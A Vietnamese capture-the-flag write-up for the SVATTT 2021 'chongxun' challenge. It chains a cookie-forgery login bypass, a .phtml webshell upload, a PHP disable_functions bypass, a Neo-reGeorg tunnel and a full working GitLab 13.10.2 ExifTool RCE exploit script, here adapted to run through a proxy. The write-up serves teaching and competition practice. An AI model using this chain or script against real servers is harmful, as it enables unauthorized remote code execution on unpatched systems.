---
# System prepended metadata

title: chongxun SVATT 2021

---

# chongxun SVATT 2021

Để tiện cho cái blog trước về Neo-reGeorg, mình sẽ viết hẳn bài write up cho cái ví dụ mình đưa ra trong bài đấy - chongxun SVATTT 2021 

## Phân tích
Thường thì theo thói quen, mình sẽ đi đọc file docker trước để tìm hiểu service của bài

```dockerfile=
version: '2.2'
services:
  php:
    container_name: daemon_original
    build:
      context: .
      dockerfile: ./containers/php/Dockerfile
    links: 
     - mariadb:mariadb
    restart: always
    environment:
     - DB_HOST=mariadb
    depends_on:
     - mariadb
    ports:
     - "1337:80"
    volumes:
     - /opt/chongxun/:/opt/chongxun/
    networks:
      vpcbr:
        ipv4_address: 10.37.13.39
    extra_hosts:
     - "chongxun.gitlab.internal:10.37.13.37"

  mariadb:
    container_name: mariadb_daemon_original
    image: mariadb:latest
    volumes:
     - ./db_data:/var/lib/mysql
    restart: always
    environment:
     - MYSQL_ROOT_PASSWORD=###CENSORED###
    volumes:
     - ./sql_dump/:/docker-entrypoint-initdb.d
    command: --sql_mode=""
    networks:
      vpcbr:
        ipv4_address: 10.37.13.38

  web:
    build:
      context: .
      dockerfile: ./containers/gitlab/Dockerfile
    container_name: 'gitlab-13.10.2-ee.0-internal'
    restart: always
    hostname: '10.37.13.37'
    environment:
      GITLAB_OMNIBUS_CONFIG: |
        external_url 'http://10.37.13.37'
        gitlab_rails['smtp_enable'] = true
        gitlab_rails['smtp_address'] = "smtp.gmail.com"
        gitlab_rails['smtp_port'] = 587
        gitlab_rails['smtp_user_name'] = "###CENSORED###@gmail.com"
        gitlab_rails['smtp_password'] = "###CENSORED###"
        gitlab_rails['smtp_domain'] = "smtp.gmail.com"
        gitlab_rails['smtp_authentication'] = "login"
        gitlab_rails['smtp_enable_starttls_auto'] = true
        gitlab_rails['smtp_tls'] = false
        gitlab_rails['smtp_openssl_verify_mode'] = 'peer'
        gitlab_rails['initial_root_password'] = "###CENSORED###";

    networks:
      vpcbr:
        ipv4_address: 10.37.13.37


    volumes:
      - '/srv/gitlab/config:/etc/gitlab'
      - '/srv/gitlab/logs:/var/log/gitlab'
      - '/srv/gitlab/data:/var/opt/gitlab'

networks:
  vpcbr:
    external: true
    name: chongxun-network

```

Sau khi đọc thì có thể thấy bài này có 2 phần tương tác với web, phần đầu là một web php có sử dụng mariadb làm database, cái còn lại là một service gitlab và có hostname của riêng nó. Service thứ 2 này chỉ cho hostname mà không có port expose ra ngoài -> internal service chỉ có thể tương tác thông qua cái php kia. Hiểu sơ sơ cấu trúc là như vậy, giờ ta sẽ thử tương tác với Web xem như thế nào.

## Login Phase

![](https://i.imgur.com/dFvV928.png)

Trang landing page cho ta một form đăng nhập, cùng đi phân tích source

![](https://i.imgur.com/Jk1gAhG.png)
```php=
// login.php
if (isset($_POST['btn-login'])) {
        $name = mysqli_real_escape_string($conn,$_POST['name']);
        $pass = $_POST['pass'];

        if(empty($name))
        {
                $error = true;
                $errMSG = "Please enter valid username.";
        }

        if(empty($pass))
        {
                $error = true;
                $errMSG = "Please enter your password.";
        }

        if(!regexpasswd($pass))
        {
                $error = true;
                $errMSG = "***** wrong username or password ***** ";
        }

        $username = $name;
        if(!$error)
        {
                $password = hash('md5', $pass);
                $session = $username.$password;
                $res=mysqli_query($conn,"SELECT * FROM users WHERE username='$username' and password='$pass'");
                $row=mysqli_fetch_array($res);
                $count = mysqli_num_rows($res);
                if( $count === 1 && $row['username'] === $username)
                {
                        setcookie('user',$session);
                        header("Location: index.php?page=chongxun.php");
                }
                else
                {
                        $errMSG = "wrong username or password";
                }
        }
}
```
```php=
// auth.php
function auth($conn){
	if ($_COOKIE['user'] == "") {
		return false;
	}
	else{
		$username = substr($_COOKIE['user'],0,strlen($_COOKIE['user'])-32);
		$hashpasswd = substr($_COOKIE['user'],-32);
		$username = mysqli_real_escape_string($conn,$username);
		$res=mysqli_query($conn,"SELECT * FROM users WHERE username='$username'");
		$row=mysqli_fetch_array($res);
		$count = mysqli_num_rows($res);
		if( $count !== 1 )
		{
			return false;
		}
		else{
			return true;
		}
	}
}
```

Ở đây thì bảng `users` chỉ có một user là chongxun thôi. Đoạn kiểm tra tại `login.php` sẽ kiểm tra theo các bước:
- Đem pass đi md5.
- Gán $username.<cái pass vừa md5> vào biến session.
- Thực hiện query select tới username cũng như password người dùng nhập vào, nếu username có trong bảng thì set session user bằng biến session tạo ở trên.

`auth.php` đầu tiên cắt 32 kí tự ở phía sau session ra, lúc này biến username sẽ là tên user, sau đó đem đi select nếu có thì trả về đúng. Hàm này lại chỉ kiểm tra username mà không xử lí password.

Vậy ở đây ta có thể đăng nhập dưới `chongxun` bằng cách tạo session cookie user với giá trị là 

```
chongxun<dãy md5 nào đó>
```

Lí do, lúc này ta không bấm vào login nên sẽ không đi qua `login.php` mà đi thẳng đến hàm auth. Mà hàm auth như phân tích ở trên không hề kiểm tra password, chỉ select để kiểm tra username có tồn tại hay không thôi nên ta chỉ cần forge cookie như trên, khi vô hàm auth cắt ra 32 kí tự md5 thì chỉ còn user name đúng với username duy nhất trong database -> ez login.

![](https://i.imgur.com/7MIncx9.png)

## File upload phase

Tại trang My account có chức năng đăng tải hình ảnh như sau

![](https://i.imgur.com/HPEeW9e.png)

```php=
$tmp  = basename($_FILES["fileToUpload"]["name"]);
    $extension = pathinfo($tmp, PATHINFO_EXTENSION);
    $filename = uuid4();
    $target_file = "images/upload/".$filename.".".$extension;
    $target_file = superwaf($target_file);
    $_check = 1;
    $imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
    if(isset($_POST["submit"])) {
        $_check = 1;
        $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
        if($check !== false) {
            $_check = 1;
        } else {
            $_check = 0;
        }
    }

    if (file_exists($target_file)) {
        echo "<center><b><p style='font-size:15px; color:#cc0066'>Sorry, file already exists. The page auto refresh after 5 second</p></b></center>";
        $_check = 0;
    }

    if ($_FILES["fileToUpload"]["size"] > 500000) {
        echo "<center><b><p style='font-size:15px; color:#cc0066'>Sorry, your file is too large. The page auto refresh after 5 second</p></b></center>";
        $_check = 0;
    }

    if($imageFileType == "php" or $imageFileType == "phar" or $imageFileType == "pht") {
        echo "<center><b><p style='font-size:15px; color:#cc0066'>Hmmmm not like this homie.</p></b></center>";
        $_check = 0;
    }

    if ($_check == 0) {
        echo "<center><b><p style='font-size:15px; color:#cc0066'>Sorry, your file was not uploaded. The page auto refresh after 5 second</p></b></center>";
        echo '<meta http-equiv="refresh" content="5;url=account.php"/>';
        die();

    } else {
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo "<center><b><p style='font-size:20px; color:#ff5050'>Your file has been uploaded.</p></b></center>";
            $target_file = SERVER_ROOT.$target_file;
            echo "<center><b><p style='font-size:15px; color:#cc0066'>The file locate at: <a href ='".htmlentities($target_file)."'>".htmlentities($target_file)."</a></p></b></center>";
            echo "<center><b><p style='font-size:15px; color:#cc0066'>Click <a href='account.php'>here</a> for redirect to the account page.</p></b></center>";

        } else {
            echo "<center><b><p style='font-size:15px; color:#cc0066'>Sorry, there was an error uploading your file. The page auto refresh after 5 second</p></b></center>";
            echo '<meta http-equiv="refresh" content="5;url=account.php"/>';
        }
    }
```

Dễ hiểu khai thác file upload thôi. Đoạn check kiểm tra file hợp lệ hay không gồm có 3 bước filter
- Kiểm tra file hình ảnh bằng hàm `getimagesize()`
- Kiểm tra size > 500000
- Kiểm tra extension của file không phải `php` `phar` và `pht`

Để bypass hàm `getimagesize()` ta có thể dùng magic byte với định dạng GIF

![](https://i.imgur.com/ZFTmtTA.png)

Size thì đơn giản, file ta upload cũng không lớn đến nỗi. Còn với extension, ngoài 3 cái bị chặn trên kia ra, ta có thể dùng `phtml`

Lý thuyết đầy đủ, tạo file thôi

![](https://i.imgur.com/bZl7dyv.png)

Upload thành công và truy cập file

![](https://i.imgur.com/kv6wUB5.png)

![](https://i.imgur.com/Vugfe5Y.png)

Vậy là ta chạy php vô tư, như mục đích ban đầu là ta sẽ phải tương tác với service gitlab từ php này nên chắc phải dùng lệnh hệ thống để `curl` (điều này lại càng hợp lí khi Dockerfile có install curl), tuy nhiên muốn curl được thì các hàm để chạy lệnh hệ thống đều bị chặn hết TvT

![](https://i.imgur.com/FBOhx9k.png)

## Bypass `disable_function`

Bế tắc??? Không, phiên bản php này là 7.4, người ta đã craft ra poc bypass disable_function cho phiên bản từ 7.0-8.0 rồi, ta chỉ việc xài thôi, nớ ở đây [https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php](https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php)

![](https://i.imgur.com/TeZfezM.png)

![](https://i.imgur.com/m4z79QG.png)

## Gitlab Phase

POC chạy mượt, giờ ta thử curl đến hostname service bên trong

![](https://i.imgur.com/8EOoUr6.png)

Curl thẳng tới thì bị redirect thẳng tới page login, khá khó chịu. Phân tích lại chỗ này, ta đã hoàn toàn RCE được service php này, ta lại muốn access tới service internal mà chỉ có thể tương tác qua service php -> tạo tunnel.

Việc tạo tunnel ta có thể dùng tool `Neo-reGeorg` ở bài blog trước =)), đây chỉ là hậu thế áp dụng tool đó vô bài này nên mình sẽ không nói lại các bước làm nữa, đi thẳng tới chỗ access được tới gitlab.

![](https://i.imgur.com/jPGFwse.png)

Phiên bản gitlab của chúng ta là 13.10.2-ee.0, và again, phiên bản này đã bị khai thác và có hẳn poc tại đây [https://www.exploit-db.com/exploits/49951](https://www.exploit-db.com/exploits/49951)

Sau khi đọc poc và chi tiết trong exploit tại hackerone này [https://hackerone.com/reports/1154542](https://hackerone.com/reports/1154542), đại khái ta sẽ lạm dụng chức năng up hình ảnh của gitlab và lỗi của exiftool để thực thi rce, vậy thì giờ chỉ cần tìm được chỗ up ảnh là được, chính là ở chức năng New Snippet

![](https://i.imgur.com/paPPLWi.png)

Tại chỗ description cho ta viết mô tả dưới dạng markdown, ta sẽ bấm vào attach file và tiến hành up file ảnh nào đó lên

![](https://i.imgur.com/h8h6Xio.png)

Sau khi attach thì thấy dưới mã markdown có đường dẫn đến ảnh vừa mới attach

![](https://i.imgur.com/bR5hhBO.png)

Truy cập vào ảnh hoàn toàn được

![](https://i.imgur.com/nCByeX8.png)

Thư mục này khi exec thẳng vào thì thấy có quyền đọc ghi bình thường

![](https://i.imgur.com/4BvOYzS.png)

Vậy thì mọi chuyện trở nên rõ ràng hơn, ta dùng poc để chạy cmd chuyển /readflag tới thư mục này và đọc như bình thường.

POC này chủ yếu tương tác với web thông qua python requests, mà ta lại access đến web thông qua cái proxy nên ta phải chỉnh lại các requests có thêm option proxies={"http":"socks5://127.0.0.1:1080"} là được.

POC sau khi chỉnh sẽ là

```python=
# Exploit Title: Gitlab 13.10.2 - Remote Code Execution (Authenticated)
# Date: 04/06/2021
# Exploit Author: enox
# Vendor Homepage: https://about.gitlab.com/
# Software Link: https://gitlab.com/
# Version: < 13.10.3
# Tested On: Ubuntu 20.04
# Environment: Gitlab 13.10.2 CE
# Credits: https://hackerone.com/reports/1154542

import requests
from bs4 import BeautifulSoup
import random
import os
import argparse

parser = argparse.ArgumentParser(description='GitLab < 13.10.3 RCE')
parser.add_argument('-u', help='Username', required=True)
parser.add_argument('-p', help='Password', required=True)
parser.add_argument('-c', help='Command', required=True)
parser.add_argument('-t', help='URL (Eg: http://gitlab.example.com)', required=True)
args = parser.parse_args()

username = args.u
password = args.p
gitlab_url = args.t
command = args.c

session = requests.Session()

# Authenticating
print("[1] Authenticating")
r = session.get(gitlab_url + "/users/sign_in", proxies={"http":"socks5://127.0.0.1:1080"})
soup = BeautifulSoup(r.text, features="lxml")
token = soup.findAll('meta')[16].get("content")

login_form = {
    "authenticity_token": token,
    "user[login]": username,
    "user[password]": password,
    "user[remember_me]": "0"
}
r = session.post(f"{gitlab_url}/users/sign_in", data=login_form, proxies={"http":"socks5://127.0.0.1:1080"} )

if r.status_code != 200:
    exit(f"Login Failed:{r.text}")
else:
    print("Successfully Authenticated")


# payload creation
print("[2] Creating Payload ")

payload = f"\" . qx{{{command}}} . \\\n"
f1 = open("/tmp/exploit","w")
f1.write('(metadata\n')
f1.write('        (Copyright "\\\n')
f1.write(payload)
f1.write('" b ") )')
f1.close()

# Checking if djvumake is installed
check = os.popen('which djvumake').read()
if (check == ""):
    exit("djvumake not installed. Install by running command : sudo apt install djvulibre-bin")

# Building the payload
os.system('djvumake /tmp/exploit.jpg INFO=0,0 BGjp=/dev/null ANTa=/tmp/exploit')

# Uploading it 
print("[3] Creating Snippet and Uploading")

# Getting the CSRF token
r = session.get(gitlab_url + "/users/sign_in", proxies={"http":"socks5://127.0.0.1:1080"} )
soup = BeautifulSoup(r.text, features="lxml")
csrf = soup.findAll('meta')[16].get("content")


cookies = {'_gitlab_session': session.cookies['_gitlab_session']}
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US);',
    'Accept': 'application/json',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Referer': f'{gitlab_url}/projects',
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1',
    'X-Requested-With': 'XMLHttpRequest',
    'X-CSRF-Token': f'{csrf}'
}
files = {'file': ('exploit.jpg', open('./tmp/exploit.jpg', 'rb'), 'image/jpeg', {'Expires': '0'})}

r = session.post(gitlab_url+'/uploads/user', files=files, cookies=cookies, headers=headers, verify=False, proxies={"http":"socks5://127.0.0.1:1080"} )
print(r.text)
#if r.text != "Failed to process image":
#    print("wtf")
#else:
#    print("[+] RCE Triggered !!")
```

![](https://i.imgur.com/pFx0uK9.png)

Đến đây thì sẽ có 2 trường hợp xảy ra, 1 là poc ở trên sẽ hoạt động mượt, chỉ cần truy cập đến file là xong. Còn một trường hợp nữa là poc chạy failed và truy cập hình không được luôn, thì đây chính là giải pháp: ta sẽ chạy poc 1 lần để sau khi nó tạo file exploit bằng `djvumake`, ta sẽ up thẳng file đó vào trong description của snippet

![](https://i.imgur.com/Gbp3cup.png)

Failed, nhưng truy cập đến file thì hoàn toàn được

![](https://i.imgur.com/MTo7dVx.png)

![](https://i.imgur.com/Wb3aDI5.png)

![](https://i.imgur.com/yW7ubYG.png)
nai